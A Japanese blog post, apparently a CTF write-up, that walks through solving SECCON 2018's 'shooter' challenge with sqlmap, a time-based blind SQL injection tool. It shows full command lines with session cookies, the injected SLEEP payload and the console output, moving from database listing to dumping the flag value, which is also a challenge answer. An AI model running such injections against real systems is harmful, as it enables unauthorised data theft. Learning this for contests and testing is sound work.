こんとろーるしーこんとろーるぶい

週末にカチャカチャッターン!したことを貼り付けていくブログ

sqlmapでTime-Based Blind SQL Injectionをやってみる

sqlmapを使用してSQL Injectionを効率的に実行した結果をまとめる。

経緯、動機

SECCON 2018 Qualsのwriteupを読んでいたら、sqlmapを使用してshooterを解いていた方を発見。

SECCON 2018 Quals write-up (classic, kindvm, gacha lv.1/2, shooter last part) - cookies.txt .scr

CTFでは、ツールによるスキャン行為は禁止されていることが多く、短時間に負荷をかけると自身のIPアドレスブラックリストに登録されてしまうことある。結果、一定時間ブロックされたり、最悪、大会終了までブロックされ続けることがある。
(実際、迂闊にもdirbをかけてブロックされたことがあった。)

よって、これまでsqlmapをまともに使用する機会が無く、SQL Injectionの脆弱性がありそうな項目を発見したら自分でスクリプトを作成して解いていた。ただ「機械にできることは機械にまかせるべき」であるし、CTFは項目数が少ないが実際のペネトレーションテスト脆弱性診断の現場においては人手で確認しきれない大量の項目があることを想定すると、sqlmapに慣れ親しむことも重要と考えて、shooterを題材に試してみた。

なお、スクリプトを作って解いたwriteupは以下の通り。 SECCON 2018 Quals - shooter - こんとろーるしーこんとろーるぶい

実行結果

shooterはTime-Based Blind SQL Injectionで攻める問題であったが、1文字ずつ情報を特定していく攻撃手法であるため、必要なリクエスト数が多く時間がかかる。

オプションの指定が緩いと、目的とする情報(CTFの場合はフラグ)に結び付かないテーブルや列の情報も取得しようとして時間がかかってしまう。よって、適切にオプションを指定することで情報を絞り込みながら実行する。
具体的には、以下の段取りで情報を取得してみる。

  1. データベース名の取得
  2. テーブル名の取得
  3. カラム名の取得
  4. レコードの取得

1. データベース名の取得

実行コマンドは以下の通り。

sqlmap -u 'http://staging.shooter.pwn.seccon.jp/admin/sessions' \
-p password \
--method POST \
--cookie "_shooter_session=l1NW1fRcRDMstlN7MZwJYOBBq2vtB17FLSdELAPhCdp2hV9OD%2FHVFErOBjU80QHxdVwp24TL1MQAAzaXO1dOMLJlzgw%2BnfePLKGRiIrVDhnXNlm7d8FlxJderqSJ8n5jthdfnkLSZStuufw7YRk%3D--KB76yzfpz0%2FRbJTc--vR4mc6IPyNAgJfhs7%2FbtSg%3D%3D" \
--data "authenticity_token=CodCRpjgTlZzcK%2Filr42WUwUASDdfoPJ%2F865RPWy3uOS2nzmtl9T3GnNG%2B2syYTY1GSc%2BvXODPykzOVx7n8JuA%3D%3D&login_id=admin&password=hoge&commit=Login" \
--dbms mysql \
--time-sec 2 \
--technique T \
--level 2 \
--dbs
オプション 説明
-u 'http://staging.shooter.pwn.seccon.jp/admin/sessions' URLを指定。
-p password 脆弱性のある項目を指定。この問題はpassword項目に脆弱性があることが既にわかっているため指定した。
--method POST POSTメソッドを指定。
--cookie "_shooter_session=...(snip)" HTTP Request HeaderのCookieを指定。なお、あらかじめ画面打鍵して情報採取した値を指定した。
--data "authenticity_token=...(snip)" 送信する項目と値を指定。-p passwordで攻撃対象を指定しているため、password項目以外は固定値として設定される。
--technique T 何の攻撃手法を使用するか指定。今回はTime-Based Blind SQL Injectionで攻めるようにTを指定。
--time-sec 2 Time-Based Blind SQL Injectionで使用するslepp時間を指定。
--dbs データベース名を取得するように指定。
--level 2 攻撃コードのバリエーション数に影響すると思われる。この問題の場合、デフォルトの1では攻撃が成功しなかった。

実行結果。

root@kali:~# sqlmap -u 'http://staging.shooter.pwn.seccon.jp/admin/sessions' -p password --method POST --cookie "_shooter_session=l1NW1fRcRDMstlN7MZwJYOBBq2vtB17FLSdELAPhCdp2hV9OD%2FHVFErOBjU80QHxdVwp24TL1MQAAzaXO1dOMLJlzgw%2BnfePLKGRiIrVDhnXNlm7d8FlxJderqSJ8n5jthdfnkLSZStuufw7YRk%3D--KB76yzfpz0%2FRbJTc--vR4mc6IPyNAgJfhs7%2FbtSg%3D%3D" --data "authenticity_token=CodCRpjgTlZzcK%2Filr42WUwUASDdfoPJ%2F865RPWy3uOS2nzmtl9T3GnNG%2B2syYTY1GSc%2BvXODPykzOVx7n8JuA%3D%3D&login_id=admin&password=hoge&commit=Login" --dbms mysql --time-sec 2 --technique T --level 2 --dbs
        ___
       __H__
 ___ ___["]_____ ___ ___  {1.2.8#stable}
|_ -| . [']     | .'| . |
|___|_  [,]_|_|_|__,|  _|
      |_|V          |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 01:29:29

[01:29:29] [INFO] testing connection to the target URL
sqlmap got a 302 redirect to 'http://staging.shooter.pwn.seccon.jp/admin/sessions/new'. Do you want to follow? [Y/n] n
[01:29:31] [INFO] checking if the target is protected by some kind of WAF/IPS/IDS
you provided a HTTP Cookie header value. The target URL provided its own cookies within the HTTP Set-Cookie header which intersect with yours. Do you want to merge them in further requests? [Y/n] n
[01:29:32] [WARNING] heuristic (basic) test shows that POST parameter 'password' might not be injectable
[01:29:32] [INFO] testing for SQL injection on POST parameter 'password'
[01:29:32] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind'
[01:29:32] [WARNING] time-based comparison requires larger statistical model, please wait............................  (done)                                    
[01:29:33] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[01:29:37] [INFO] POST parameter 'password' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable 
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (2) and risk (1) values? [Y/n] Y
[01:29:40] [INFO] checking if the injection point on POST parameter 'password' is a false positive
POST parameter 'password' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 55 HTTP(s) requests:
---
Parameter: password (POST)
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: authenticity_token=CodCRpjgTlZzcK/ilr42WUwUASDdfoPJ/865RPWy3uOS2nzmtl9T3GnNG+2syYTY1GSc+vXODPykzOVx7n8JuA==&login_id=admin&password=hoge') AND (SELECT * FROM (SELECT(SLEEP(2)))FGyQ) AND ('AjuX'='AjuX&commit=Login
---
[01:30:07] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[01:30:07] [INFO] fetching database names
[01:30:07] [INFO] fetching number of databases
[01:30:07] [INFO] retrieved: 

[01:30:07] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions 
2
[01:30:12] [INFO] retrieved: information_schema
[01:32:08] [INFO] retrieved: shooter_staging
available databases [2]:
[*] information_schema
[*] shooter_staging

[01:33:54] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 4 times
[01:33:54] [INFO] fetched data logged to text files under '/root/.sqlmap/output/staging.shooter.pwn.seccon.jp'

[*] shutting down at 01:33:54

information_schemaとshooter_stagingの2つのデータベースがあることがわかった。

2. テーブル名の取得

実行コマンドは以下の通り。

sqlmap -u 'http://staging.shooter.pwn.seccon.jp/admin/sessions' \
-p password \
--method POST \
--cookie "_shooter_session=l1NW1fRcRDMstlN7MZwJYOBBq2vtB17FLSdELAPhCdp2hV9OD%2FHVFErOBjU80QHxdVwp24TL1MQAAzaXO1dOMLJlzgw%2BnfePLKGRiIrVDhnXNlm7d8FlxJderqSJ8n5jthdfnkLSZStuufw7YRk%3D--KB76yzfpz0%2FRbJTc--vR4mc6IPyNAgJfhs7%2FbtSg%3D%3D" \
--data "authenticity_token=CodCRpjgTlZzcK%2Filr42WUwUASDdfoPJ%2F865RPWy3uOS2nzmtl9T3GnNG%2B2syYTY1GSc%2BvXODPykzOVx7n8JuA%3D%3D&login_id=admin&password=hoge&commit=Login" \
--dbms mysql \
--time-sec 2 \
--technique T \
--level 2 \
-D shooter_staging
--tables
オプション 説明
-D shooter_staging 情報取得の対象とするデータベース名を指定。
--tables テーブル名を取得するように指定。

実行結果。

root@kali:~# sqlmap -u 'http://staging.shooter.pwn.seccon.jp/admin/sessions' -p password --method POST --cookie "_shooter_session=l1NW1fRcRDMstlN7MZwJYOBBq2vtB17FLSdELAPhCdp2hV9OD%2FHVFErOBjU80QHxdVwp24TL1MQAAzaXO1dOMLJlzgw%2BnfePLKGRiIrVDhnXNlm7d8FlxJderqSJ8n5jthdfnkLSZStuufw7YRk%3D--KB76yzfpz0%2FRbJTc--vR4mc6IPyNAgJfhs7%2FbtSg%3D%3D" --data "authenticity_token=CodCRpjgTlZzcK%2Filr42WUwUASDdfoPJ%2F865RPWy3uOS2nzmtl9T3GnNG%2B2syYTY1GSc%2BvXODPykzOVx7n8JuA%3D%3D&login_id=admin&password=hoge&commit=Login" --dbms mysql --time-sec 2 --technique T --level 2 -D shooter_staging --tables
        ___
       __H__
 ___ ___[,]_____ ___ ___  {1.2.8#stable}
|_ -| . [.]     | .'| . |
|___|_  [)]_|_|_|__,|  _|
      |_|V          |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 01:36:28

[01:36:29] [INFO] testing connection to the target URL
sqlmap got a 302 redirect to 'http://staging.shooter.pwn.seccon.jp/admin/sessions/new'. Do you want to follow? [Y/n] n
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: password (POST)
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: authenticity_token=CodCRpjgTlZzcK/ilr42WUwUASDdfoPJ/865RPWy3uOS2nzmtl9T3GnNG+2syYTY1GSc+vXODPykzOVx7n8JuA==&login_id=admin&password=hoge') AND (SELECT * FROM (SELECT(SLEEP(2)))FGyQ) AND ('AjuX'='AjuX&commit=Login
---
[01:36:30] [INFO] testing MySQL
[01:36:30] [INFO] confirming MySQL
[01:36:30] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.0
[01:36:30] [INFO] fetching tables for database: 'shooter_staging'
[01:36:30] [INFO] fetching number of tables for database 'shooter_staging'
you provided a HTTP Cookie header value. The target URL provided its own cookies within the HTTP Set-Cookie header which intersect with yours. Do you want to merge them in further requests? [Y/n] n
.............................. (done)
[01:36:34] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions 
5
[01:36:36] [INFO] retrieved: ar_internal_metadata
[01:38:43] [INFO] retrieved: flags
[01:39:14] [INFO] retrieved: managers
[01:39:57] [INFO] retrieved: schema_migrations
[01:41:43] [INFO] retrieved: scores
Database: shooter_staging
[5 tables]
+----------------------+
| ar_internal_metadata |
| flags                |
| managers             |
| schema_migrations    |
| scores               |
+----------------------+

[01:42:12] [INFO] fetched data logged to text files under '/root/.sqlmap/output/staging.shooter.pwn.seccon.jp'

[*] shutting down at 01:42:12

shooter_stagingデータベースには、flagsテーブルと4つのテーブルがあることがわかった。

3. カラム名の取得

実行コマンドは以下の通り。

sqlmap -u 'http://staging.shooter.pwn.seccon.jp/admin/sessions' \
-p password \
--method POST \
--cookie "_shooter_session=l1NW1fRcRDMstlN7MZwJYOBBq2vtB17FLSdELAPhCdp2hV9OD%2FHVFErOBjU80QHxdVwp24TL1MQAAzaXO1dOMLJlzgw%2BnfePLKGRiIrVDhnXNlm7d8FlxJderqSJ8n5jthdfnkLSZStuufw7YRk%3D--KB76yzfpz0%2FRbJTc--vR4mc6IPyNAgJfhs7%2FbtSg%3D%3D" \
--data "authenticity_token=CodCRpjgTlZzcK%2Filr42WUwUASDdfoPJ%2F865RPWy3uOS2nzmtl9T3GnNG%2B2syYTY1GSc%2BvXODPykzOVx7n8JuA%3D%3D&login_id=admin&password=hoge&commit=Login" \
--dbms mysql \
--time-sec 2 \
--technique T \
--level 2 \
-D shooter_staging \
-T flags \
--columns
オプション 説明
-T flags 情報取得の対象とするテーブル名を指定。
--columns カラム名を取得するように指定。

実行結果。

root@kali:~# sqlmap -u 'http://staging.shooter.pwn.seccon.jp/admin/sessions' -p password --method POST --cookie "_shooter_session=l1NW1fRcRDMstlN7MZwJYOBBq2vtB17FLSdELAPhCdp2hV9OD%2FHVFErOBjU80QHxdVwp24TL1MQAAzaXO1dOMLJlzgw%2BnfePLKGRiIrVDhnXNlm7d8FlxJderqSJ8n5jthdfnkLSZStuufw7YRk%3D--KB76yzfpz0%2FRbJTc--vR4mc6IPyNAgJfhs7%2FbtSg%3D%3D" --data "authenticity_token=CodCRpjgTlZzcK%2Filr42WUwUASDdfoPJ%2F865RPWy3uOS2nzmtl9T3GnNG%2B2syYTY1GSc%2BvXODPykzOVx7n8JuA%3D%3D&login_id=admin&password=hoge&commit=Login" --dbms mysql --time-sec 2 --technique T --level 2 -D shooter_staging -T flags --columns
        ___
       __H__
 ___ ___[,]_____ ___ ___  {1.2.8#stable}
|_ -| . [.]     | .'| . |
|___|_  [)]_|_|_|__,|  _|
      |_|V          |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 01:43:26

[01:43:27] [INFO] testing connection to the target URL
sqlmap got a 302 redirect to 'http://staging.shooter.pwn.seccon.jp/admin/sessions/new'. Do you want to follow? [Y/n] n
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: password (POST)
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: authenticity_token=CodCRpjgTlZzcK/ilr42WUwUASDdfoPJ/865RPWy3uOS2nzmtl9T3GnNG+2syYTY1GSc+vXODPykzOVx7n8JuA==&login_id=admin&password=hoge') AND (SELECT * FROM (SELECT(SLEEP(2)))FGyQ) AND ('AjuX'='AjuX&commit=Login
---
[01:43:32] [INFO] testing MySQL
[01:43:32] [INFO] confirming MySQL
[01:43:32] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.0
[01:43:32] [INFO] fetching columns for table 'flags' in database 'shooter_staging'
you provided a HTTP Cookie header value. The target URL provided its own cookies within the HTTP Set-Cookie header which intersect with yours. Do you want to merge them in further requests? [Y/n] n
.............................. (done)
[01:43:35] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions 
4
[01:43:35] [INFO] retrieved: id
[01:43:48] [INFO] retrieved: bigint(20)
[01:44:53] [INFO] retrieved: value
[01:45:24] [INFO] retrieved: varchar(255)
[01:46:37] [INFO] retrieved: created_at
[01:47:39] [INFO] retrieved: datetime
[01:48:24] [INFO] retrieved: updated_at
[01:49:33] [INFO] retrieved: datetime
Database: shooter_staging
Table: flags
[4 columns]
+------------+--------------+
| Column     | Type         |
+------------+--------------+
| value      | varchar(255) |
| created_at | datetime     |
| id         | bigint(20)   |
| updated_at | datetime     |
+------------+--------------+

[01:50:18] [INFO] fetched data logged to text files under '/root/.sqlmap/output/staging.shooter.pwn.seccon.jp'

[*] shutting down at 01:50:18

flagsテーブルには、value項目と3つのカラムがあることがわかった。

4. レコードの取得

実行コマンドは以下の通り。

sqlmap -u 'http://staging.shooter.pwn.seccon.jp/admin/sessions' \
-p password \
--method POST \
--cookie "_shooter_session=l1NW1fRcRDMstlN7MZwJYOBBq2vtB17FLSdELAPhCdp2hV9OD%2FHVFErOBjU80QHxdVwp24TL1MQAAzaXO1dOMLJlzgw%2BnfePLKGRiIrVDhnXNlm7d8FlxJderqSJ8n5jthdfnkLSZStuufw7YRk%3D--KB76yzfpz0%2FRbJTc--vR4mc6IPyNAgJfhs7%2FbtSg%3D%3D" \
--data "authenticity_token=CodCRpjgTlZzcK%2Filr42WUwUASDdfoPJ%2F865RPWy3uOS2nzmtl9T3GnNG%2B2syYTY1GSc%2BvXODPykzOVx7n8JuA%3D%3D&login_id=admin&password=hoge&commit=Login" \
--dbms mysql \
--time-sec 2 \
--technique T \
--level 2 \
-D shooter_staging \
-T flags \
-C value \
--dump
オプション 説明
-C value 情報取得の対象とするカラム名を指定。
--dump データベースのテーブル情報全般を取得するように指定。ただ、-D、-T、-Cで対象を絞っているため、結果、shooter_stagingデータベースのflagsテーブルのvalue列の値を取得する挙動となる。

実行結果。

root@kali:~# sqlmap -u 'http://staging.shooter.pwn.seccon.jp/admin/sessions' -p password --method POST --cookie "_shooter_session=l1NW1fRcRDMstlN7MZwJYOBBq2vtB17FLSdELAPhCdp2hV9OD%2FHVFErOBjU80QHxdVwp24TL1MQAAzaXO1dOMLJlzgw%2BnfePLKGRiIrVDhnXNlm7d8FlxJderqSJ8n5jthdfnkLSZStuufw7YRk%3D--KB76yzfpz0%2FRbJTc--vR4mc6IPyNAgJfhs7%2FbtSg%3D%3D" --data "authenticity_token=CodCRpjgTlZzcK%2Filr42WUwUASDdfoPJ%2F865RPWy3uOS2nzmtl9T3GnNG%2B2syYTY1GSc%2BvXODPykzOVx7n8JuA%3D%3D&login_id=admin&password=hoge&commit=Login" --dbms mysql --time-sec 2 --technique T --level 2 -D shooter_staging -T flags -C value --dump
        ___
       __H__
 ___ ___[)]_____ ___ ___  {1.2.8#stable}
|_ -| . [)]     | .'| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V          |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 01:53:42

[01:53:42] [INFO] testing connection to the target URL
sqlmap got a 302 redirect to 'http://staging.shooter.pwn.seccon.jp/admin/sessions/new'. Do you want to follow? [Y/n] n
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: password (POST)
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: authenticity_token=CodCRpjgTlZzcK/ilr42WUwUASDdfoPJ/865RPWy3uOS2nzmtl9T3GnNG+2syYTY1GSc+vXODPykzOVx7n8JuA==&login_id=admin&password=hoge') AND (SELECT * FROM (SELECT(SLEEP(2)))FGyQ) AND ('AjuX'='AjuX&commit=Login
---
[01:53:44] [INFO] testing MySQL
[01:53:44] [INFO] confirming MySQL
[01:53:44] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.0
[01:53:44] [INFO] fetching entries of column(s) '`value`' for table 'flags' in database 'shooter_staging'
[01:53:44] [INFO] fetching number of column(s) '`value`' entries for table 'flags' in database 'shooter_staging'
you provided a HTTP Cookie header value. The target URL provided its own cookies within the HTTP Set-Cookie header which intersect with yours. Do you want to merge them in further requests? [Y/n] n
.............................. (done)
[01:53:45] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions 
1
[01:53:47] [WARNING] (case) time-based comparison requires reset of statistical model, please wait..............................  (done)                         
SECCON{1NV4L1D_4DM1N_P4G3_4U+H3NT1C4T10N}
Database: shooter_staging
Table: flags
[1 entry]
+-------------------------------------------+
| value                                     |
+-------------------------------------------+
| SECCON{1NV4L1D_4DM1N_P4G3_4U+H3NT1C4T10N} |
+-------------------------------------------+

[01:58:37] [INFO] table 'shooter_staging.flags' dumped to CSV file '/root/.sqlmap/output/staging.shooter.pwn.seccon.jp/dump/shooter_staging/flags.csv'
[01:58:37] [INFO] fetched data logged to text files under '/root/.sqlmap/output/staging.shooter.pwn.seccon.jp'

[*] shutting down at 01:58:37

flagsテーブルのvalue列の値にセットされていたフラグを取得できた。

まとめ

実際に、sqlmapでTime-Based Blind SQL Injectionが成功した。

CTFにおいては、攻める対象の項目等が特定できていれば、実際に活用可能と考えられる。
ただ、大量リクエストによるブロックに気を付ける必要があるし、他にもsqlmapのUserAgentはデフォルトのままだとsqlmap利用だとわかってしまいブラックリストに入れられてしまう可能性が高いと考えられる。

注意は必要であるが、SQLインジェクションに対する脆弱性があることがわかっているのに、どうやってテスト用のSQLを組み立てればいいのかわからないといったケースでは、一度、試してもよいかもしれない。